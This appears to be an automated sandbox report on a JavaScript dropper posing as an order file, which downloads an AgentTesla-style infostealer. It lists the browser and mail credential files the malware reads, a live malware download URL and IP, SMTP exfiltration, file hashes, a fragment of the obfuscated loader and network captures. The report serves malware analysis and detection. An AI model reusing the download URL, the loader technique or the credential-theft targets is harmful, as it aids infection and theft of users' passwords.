Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\MUGKZA.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 2.2.MUGKZA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MUGKZA.exe.39e6378.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MUGKZA.exe.39e6378.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2953034164.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1689813017.00000000039A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MUGKZA.exe PID: 7348, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MUGKZA.exe PID: 7392, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 2.2.MUGKZA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MUGKZA.exe.39e6378.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MUGKZA.exe.39e6378.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2953034164.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1689813017.00000000039A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2954699058.0000000002921000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MUGKZA.exe PID: 7348, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MUGKZA.exe PID: 7392, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 2.2.MUGKZA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MUGKZA.exe.39e6378.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MUGKZA.exe.39e6378.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2953034164.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1689813017.00000000039A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MUGKZA.exe PID: 7348, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MUGKZA.exe PID: 7392, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	31 Scripting	Valid Accounts	121 Windows Management Instrumentation	31 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	11 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	211 Process Injection	1 Deobfuscate/Decode Files or Information	21 Input Capture	24 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Software Packing	NTDS	421 Security Software Discovery	Distributed Component Object Model	21 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	1 Clipboard Data	32 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	151 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	151 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ORDER-7019-2024.js	33%	Virustotal		Browse
ORDER-7019-2024.js	24%	ReversingLabs	Script-JS.Trojan.Cryxos

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\MUGKZA.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\don701[1].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\MUGKZA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\don701[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\don701[1].exe	68%	ReversingLabs	ByteCode-MSIL.Spyware.AveMaria
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\don701[1].exe	73%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\MUGKZA.exe	68%	ReversingLabs	ByteCode-MSIL.Spyware.AveMaria
C:\Users\user\AppData\Local\Temp\MUGKZA.exe	73%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
smtp.gmail.com	0%	Virustotal		Browse
206.23.85.13.in-addr.arpa	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://account.dyn.com/	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://192.210.215.11/zoom/don701.exeni%;	0%	Avira URL Cloud	safe
http://crl.pki.goog/gsr1/gsr1.crl0;	0%	Avira URL Cloud	safe
http://o.pki.goog/wr20%	0%	Avira URL Cloud	safe
http://192.210.215.11/zoom/don701.exe	100%	Avira URL Cloud	malware
http://c.pki.goog/r/r1.crl0	0%	Avira URL Cloud	safe
http://i.pki.goog/r1.crt0	0%	Avira URL Cloud	safe
http://c.pki.goog/wr2/GSyT1N4PBrg.crl0	0%	Avira URL Cloud	safe
http://o.pki.goog/wr20%	0%	Virustotal		Browse
http://pki.goog/gsr1/gsr1.crt02	0%	Avira URL Cloud	safe
http://c.pki.goog/r/r1.crl0	0%	Virustotal		Browse
http://o.pki.goog3	0%	Avira URL Cloud	safe
http://i.pki.goog/r1.crt0	0%	Virustotal		Browse
http://c.pki.goog/wr2/GSyT1N4PBrg.crl0	0%	Virustotal		Browse
http://smtp.gmail.com	0%	Avira URL Cloud	safe
http://i.pki.goog/wr2.crt0	0%	Avira URL Cloud	safe
https://support.google.com/a/answer/166852	0%	Avira URL Cloud	safe
http://pki.goog/gsr1/gsr1.crt02	0%	Virustotal		Browse
http://192.210.215.11/zoom/don701.exe4	0%	Avira URL Cloud	safe
http://crl.pki.goog/gsr1/gsr1.crl0;	0%	Virustotal		Browse
http://192.210.215.11/zoom/don701.exe	6%	Virustotal		Browse
http://i.pki.goog/wr2.crt0	0%	Virustotal		Browse
http://smtp.gmail.com	0%	Virustotal		Browse
https://support.google.com/a/answer/166852	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
smtp.gmail.com	142.251.168.109	true	false	0%, Virustotal, Browse	unknown
206.23.85.13.in-addr.arpa	unknown	unknown	false	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://192.210.215.11/zoom/don701.exe	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.pki.goog/gsr1/gsr1.crl0;	MUGKZA.exe, 00000002.00000002.2954699058.0000000002A2A000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953320109.0000000000B05000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2957784827.0000000006162000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2961266841.0000000009868000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://o.pki.goog/wr20%	MUGKZA.exe, 00000002.00000002.2954699058.0000000002A2A000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953320109.0000000000B05000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002A64000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2957784827.0000000006162000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002AF7000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2961266841.0000000009868000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002BE5000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://192.210.215.11/zoom/don701.exeni%;	wscript.exe, 00000000.00000003.1684280974.000002664C19A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1684396498.000002664C1AF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1689417224.000002664C1B4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.dyn.com/	MUGKZA.exe, 00000001.00000002.1689813017.00000000039A9000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953034164.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://c.pki.goog/r/r1.crl0	MUGKZA.exe, 00000002.00000002.2954699058.0000000002A2A000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953320109.0000000000B05000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953320109.0000000000AD3000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2957784827.0000000006162000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2961266841.0000000009868000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://i.pki.goog/r1.crt0	MUGKZA.exe, 00000002.00000002.2954699058.0000000002A2A000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953320109.0000000000B05000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953320109.0000000000AD3000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2957784827.0000000006162000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2961266841.0000000009868000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://c.pki.goog/wr2/GSyT1N4PBrg.crl0	MUGKZA.exe, 00000002.00000002.2954699058.0000000002A2A000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953320109.0000000000B05000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002A64000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2957784827.0000000006162000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002AF7000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2961266841.0000000009868000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002BE5000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://pki.goog/gsr1/gsr1.crt02	MUGKZA.exe, 00000002.00000002.2954699058.0000000002A2A000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953320109.0000000000B05000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2957784827.0000000006162000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2961266841.0000000009868000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://o.pki.goog3	MUGKZA.exe, 00000002.00000002.2961266841.0000000009868000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://smtp.gmail.com	MUGKZA.exe, 00000002.00000002.2954699058.0000000002A2A000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002A64000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002AF7000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002BE5000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://i.pki.goog/wr2.crt0	MUGKZA.exe, 00000002.00000002.2954699058.0000000002A2A000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953320109.0000000000B05000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002A64000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2957784827.0000000006162000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002AF7000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2961266841.0000000009868000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002BE5000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.google.com/a/answer/166852	MUGKZA.exe, 00000002.00000002.2954699058.0000000002AF7000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002A46000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://192.210.215.11/zoom/don701.exe4	wscript.exe, 00000000.00000003.1686347662.000002664E0F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
74.125.206.108	unknown	United States	15169	GOOGLEUS	false
173.194.76.109	unknown	United States	15169	GOOGLEUS	false
192.210.215.11	unknown	United States	36352	AS-COLOCROSSINGUS	true
142.251.168.109	smtp.gmail.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1465898
Start date and time:	2024-07-02 08:17:41 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ORDER-7019-2024.js
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winJS@5/2@4/4
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 100% Number of executed functions: 90 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target MUGKZA.exe, PID 7392 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:18:34	API Interceptor	3552227x Sleep call for process: MUGKZA.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
192.210.215.11	PO-24701248890.js	Get hash	malicious	WSHRat	Browse	192.210.215.11/zoom/mku.vbs
	ORDER-62489044TBC.vbs	Get hash	malicious	WSHRat	Browse	192.210.215.11/zoom/w624.vbs
	ORDER-24617-01667859-24.js	Get hash	malicious	WSHRat	Browse	192.210.215.11/zoom/jun17.vbs

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	PO-24701248890.js	Get hash	malicious	WSHRat	Browse	192.210.215.11
	FedEx Receipt_53065724643.xls	Get hash	malicious	FormBook	Browse	23.95.235.16
	statement .xls	Get hash	malicious	Unknown	Browse	23.95.235.16
	EY8qnRKXcx.rtf	Get hash	malicious	Lokibot	Browse	198.46.178.137
	Scan_Hsbc_Payment_advice.xls	Get hash	malicious	Lokibot	Browse	198.46.178.137
	rPRESUPUESTO.exe	Get hash	malicious	FormBook	Browse	192.227.175.142
	cKiTq7RRCn.exe	Get hash	malicious	Remcos	Browse	107.173.4.18
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Remcos	Browse	192.210.214.9
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Remcos	Browse	192.210.214.9
	Renameme@1.xls	Get hash	malicious	Unknown	Browse	198.46.178.137

Process:	C:\Windows\System32\wscript.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	379904
Entropy (8bit):	7.790437102725612
Encrypted:	false
SSDEEP:	6144:ttvMSwmquatRr701ZkUgLa5szOVw27r+YLUYljMm2vvionkSqTzq2z:8SYuatRr7wutL/zO+27aYLU62v6ojqTR
MD5:	6A1FF8C93C4D4BA50C8145A354B5C586
SHA1:	A272DE53B8335C100989AE4CCE46C44B0D4575E4
SHA-256:	6297429668A57AE3733058F260D024AA6A5F2C021E8CE8833FB72FD6A140C7D8
SHA-512:	72E1F5817A1725314E69DD2D233CAC54657A55316CE165CD1DA32D1280568DDD63AA52DAE78FE07FE9F0E6F30123D4AE28F0CB1B513194437103775BBAE4C88F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68% Antivirus: Virustotal, Detection: 73%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....G.f.............................@....... ....@.. .......................`............@.................................X...S.......p.................... .......................................................@..................H...........c...6ZK.P.... ......................@....text............................... ..`.rsrc...p...........................@..@.reloc....... ......................@..B.............@...................... ..`........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MUGKZA.exe

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	379904
Entropy (8bit):	7.790437102725612
Encrypted:	false
SSDEEP:	6144:ttvMSwmquatRr701ZkUgLa5szOVw27r+YLUYljMm2vvionkSqTzq2z:8SYuatRr7wutL/zO+27aYLU62v6ojqTR
MD5:	6A1FF8C93C4D4BA50C8145A354B5C586
SHA1:	A272DE53B8335C100989AE4CCE46C44B0D4575E4
SHA-256:	6297429668A57AE3733058F260D024AA6A5F2C021E8CE8833FB72FD6A140C7D8
SHA-512:	72E1F5817A1725314E69DD2D233CAC54657A55316CE165CD1DA32D1280568DDD63AA52DAE78FE07FE9F0E6F30123D4AE28F0CB1B513194437103775BBAE4C88F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68% Antivirus: Virustotal, Detection: 73%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....G.f.............................@....... ....@.. .......................`............@.................................X...S.......p.................... .......................................................@..................H...........c...6ZK.P.... ......................@....text............................... ..`.rsrc...p...........................@..@.reloc....... ......................@..B.............@...................... ..`........................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	ASCII text, with very long lines (7391), with CRLF line terminators
Entropy (8bit):	3.5962890225669786
TrID:
File name:	ORDER-7019-2024.js
File size:	7'424 bytes
MD5:	134bbcb99ed7dafbfb86cd606142520f
SHA1:	99b1c91c598f24b56f8d0a4e1d2302a66ff8619a
SHA256:	0754f739104fefc71e7890e97fae82d2e2f9581cbc4f01e4cc4ce9d89f2b4cdc
SHA512:	67e33b042a23ab0e7261e5c3e6b821d83805e35e26c0543f16d58d3ea0cc7c0c6d9ec43935250bdfa8804e2ae9caf9d5baaedb1fa1607fa1d22c2d5db163fc18
SSDEEP:	192:Wam3721AN32GqdDzA2cC3QOMEOCZBOGRO3M217:2
TLSH:	1DE1F800773E4BC5E4327C8B952C56F0CBB1667AB621B58BC87E3AC91A36763185D378
File Content Preview:	var I4o=99582958..var FRYIZK = String.fromCharCode(99583074-I4o,99583072-I4o,99583079-I4o,99583081-I4o,99582968-I4o,99583076-I4o,99583055-I4o,99583072-I4o,99582990-I4o,99583037-I4o,99583056-I4o,99583064-I4o,99583059-I4o,99583057-I4o,99583074-I4o,99582990-

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/02/24-08:18:32.477927	TCP	2022566	ET TROJAN Possible Malicious Macro EXE DL AlphaNumL	49730	80	192.168.2.4	192.210.215.11
07/02/24-08:18:32.477927	TCP	2022550	ET TROJAN Possible Malicious Macro DL EXE Feb 2016	49730	80	192.168.2.4	192.210.215.11

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 2, 2024 08:18:32.469693899 CEST	49730	80	192.168.2.4	192.210.215.11
Jul 2, 2024 08:18:32.477623940 CEST	80	49730	192.210.215.11	192.168.2.4
Jul 2, 2024 08:18:32.477750063 CEST	49730	80	192.168.2.4	192.210.215.11
Jul 2, 2024 08:18:32.477926970 CEST	49730	80	192.168.2.4	192.210.215.11
Jul 2, 2024 08:18:32.483206034 CEST	80	49730	192.210.215.11	192.168.2.4
Jul 2, 2024 08:18:33.030653954 CEST	80	49730	192.210.215.11	192.168.2.4
Jul 2, 2024 08:18:33.030678034 CEST	80	49730	192.210.215.11	192.168.2.4
Jul 2, 2024 08:18:33.030688047 CEST	80	49730	192.210.215.11	192.168.2.4
Jul 2, 2024 08:18:33.030694008 CEST	80	49730	192.210.215.11	192.168.2.4
Jul 2, 2024 08:18:33.030699015 CEST	80	49730	192.210.215.11	192.168.2.4
Jul 2, 2024 08:18:33.030709028 CEST	80	49730	192.210.215.11	192.168.2.4
Jul 2, 2024 08:18:33.030762911 CEST	49730	80	192.168.2.4	192.210.215.11
Jul 2, 2024 08:18:33.030787945 CEST	80	49730	192.210.215.11	192.168.2.4
Jul 2, 2024 08:18:33.030797958 CEST	49730	80	192.168.2.4	192.210.215.11
Jul 2, 2024 08:18:33.030800104 CEST	80	49730	192.210.215.11	192.168.2.4
Jul 2, 2024 08:18:33.030810118 CEST	80	49730	192.210.215.11	192.168.2.4
Jul 2, 2024 08:18:33.030822039 CEST	80	49730	192.210.215.11	192.168.2.4
Jul 2, 2024 08:18:33.030848026 CEST	49730	80	192.168.2.4	192.210.215.11
Jul 2, 2024 08:18:33.030870914 CEST	49730	80	192.168.2.4	192.210.215.11
Jul 2, 2024 08:18:33.035757065 CEST	80	49730	192.210.215.11	192.168.2.4
Jul 2, 2024 08:18:33.035825014 CEST	49730	80	192.168.2.4	192.210.215.11
Jul 2, 2024 08:18:33.035995960 CEST	80	49730	192.210.215.11	192.168.2.4
Jul 2, 2024 08:18:33.036005974 CEST	80	49730	192.210.215.11	192.168.2.4
